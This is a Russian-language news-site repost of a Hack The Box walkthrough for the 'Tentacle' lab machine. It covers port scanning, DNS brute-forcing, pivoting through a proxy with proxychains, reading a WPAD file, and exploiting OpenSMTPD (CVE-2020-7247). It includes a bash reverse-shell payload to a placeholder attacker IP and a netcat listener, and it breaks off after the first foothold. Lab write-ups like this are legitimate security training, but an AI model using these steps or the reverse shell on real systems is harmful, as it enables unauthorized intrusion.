Категория > Новости > HTB Tentacle. Захватываем машину на Linux при помощи Kerberos - «Новости»
HTB Tentacle. Захватываем машину на Linux при помощи Kerberos - «Новости»24-06-2021, 00:00. Автор: Анастасия |
Hack The Box. Для этого нам понадобится пробираться через прокси в другую сеть, а также использовать протокол шифрования Windows для получения доступа к машине на Linux и повышения привилегий на ней.warningПодключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками. РазведкаСканирование портовПервым делом прописываем IP машины в файл
10.10.10.224 tentacle.htb
Сканируем порты скриптом в два прохода: ports=$(nmap -p- --min-rate=500 $1 | grep^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1 Результат работы скриптаНаходим четыре открытых порта:
С SSH нам пока делать нечего, поскольку учетных данных у нас нет. C DNS и Kerberos тоже пока ничего не сделать. Обращаясь к порту 3128, видим сообщение об ошибке, но из него получаем важные данные — домен и имя пользователя. Ошибка, полученная при обращении к прокси‑серверу Найденное доменное имя добавляем в
10.10.10.224 realcorp.htb
Перебор DNSБольше ничего сделать не можем, поэтому попробуем поперебирать домены. Для этого используем dnsenum. В параметрах укажем количество потоков (
dnsenum --threads 32 --dnsserver10.10.10.224 -f/usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt realcorp.htb
Обнаруженные поддоменыПолучаем несколько новых доменных имен и адресов. Точка входаТак как на хосте работают служба прокси‑сервера и служба DNS, логично проверить, доступны ли найденные из перебора адреса через этот прокси. Для этого сформируем цепочку прокси с помощью proxychains. Наша цепочка будет пропускать трафик через текущий хост в другую сеть. Proxychains добавит заголовки для маршрутизации пакетов во внутреннюю сеть. В конфигурационном файле
http 10.10.10.224 3128
http 127.0.0.1 3128
http 10.197.243.77 3128
Так как имя хоста — WPAD, есть немалое подозрение, что на нем работает одноименная служба. Попробуем достучаться до него и просканировать порты.
proxychains -qnmap -A10.197.243.31
Результат сканирования портовНа этот раз получаем уже больше открытых портов, в том числе и 80-й, где развернут веб‑сервер nginx 1.14.1. Также мы получаем имя хоста —
10.197.243.31 wpad.realcorp.htb
Теперь на мысль о службе наталкивает не только доменное имя, но и имя хоста. Протокол WPAD (Web Proxy Auto Discovery protocol) служит для того, чтобы найти файл PAC (Proxy Auto Config) — конфигурации прокси. Он представляет собой jаvascript с описанием логики, по которой браузер будет определять, как подключаться к нужному URL. При совершении запроса браузер вызывает функцию
proxychains -qcurl wpad.realcorp.htb/wpad.dat
Код функции FindProxyForURL из файла wpad.datПросматриваем код и находим адреса сетей, о которых мы раньше не знали. Это открывает нам новые возможности для продвижения. Стоит просканировать сеть, чтобы найти новые хосты, а там и точки входа (скрипт я приводил в начале статьи). В результате сканирования находим хост 113, в котором открыт 25-й порт. Его сканируем с использованием скриптов отдельно (опция
proxychains -qnmap 10.241.251.0/24
proxychains -qnmap -A -p2510.241.251.113
Результат сканирования хостов в новой сетиПеред нами OpenSMTPD. А значит, стоит поискать готовые эксплоиты для него. ЗакреплениеЕсли ты используешь Kali Linux, то для обращения к базе эксплоитов достаточно запустить утилиту
searchsploit OpenSMTPD
Поиск эксплоитов для OpenSMTPDЭксплоит с порядковым номером 47984 выглядит подходящим. Версия уязвимого продукта здесь больше, чем у нас. Эксплоит может дать удаленное выполнение кода через сеанс SMTP. Из описания уязвимости CVE-2020-7247 также узнаем, что баг возникает из‑за неправильного возвращаемого значения при неудачной проверке ввода в функции Однако в исходном виде этот эксплоит не срабатывает. Зачастую в таких случаях помогает просто найти альтернативную версию. Так, перебрав несколько вариантов, я наткнулся на рабочий PoC на GitHub. В коде нужно указать свою нагрузку и поменять имя пользователя, которому отправляется сообщение. В качестве нагрузки используем обычный реверс‑шелл на bash.
bash -i&> /dev/tcp/[IP]/[PORT]0>&1
Код эксплоита: изменение имени пользователяКод эксплоита: измененная нагрузкаТак как мы будем выполнять бэкконнект (шелл на атакуемой машине будет подключаться к нашей), прежде чем запускать эту команду, создадим листенер, который будет принимать соединение. В качестве листенера я использую netcat (команда
apt install rlwrap
rlwrap nc -lvp [port]
Теперь выполним эксплоит и получим бэкконнект. Результат выполнения эксплоитаПолученный бэкконнект ПродвижениеПользователь 1Отлично, мы проникли на машину! Так как мы работаем в контексте учетной записи службы, следующий шаг — получить какого‑либо пользователя. Чаще всего для этого нужно найти учетные данные. Перейти обратно к новости |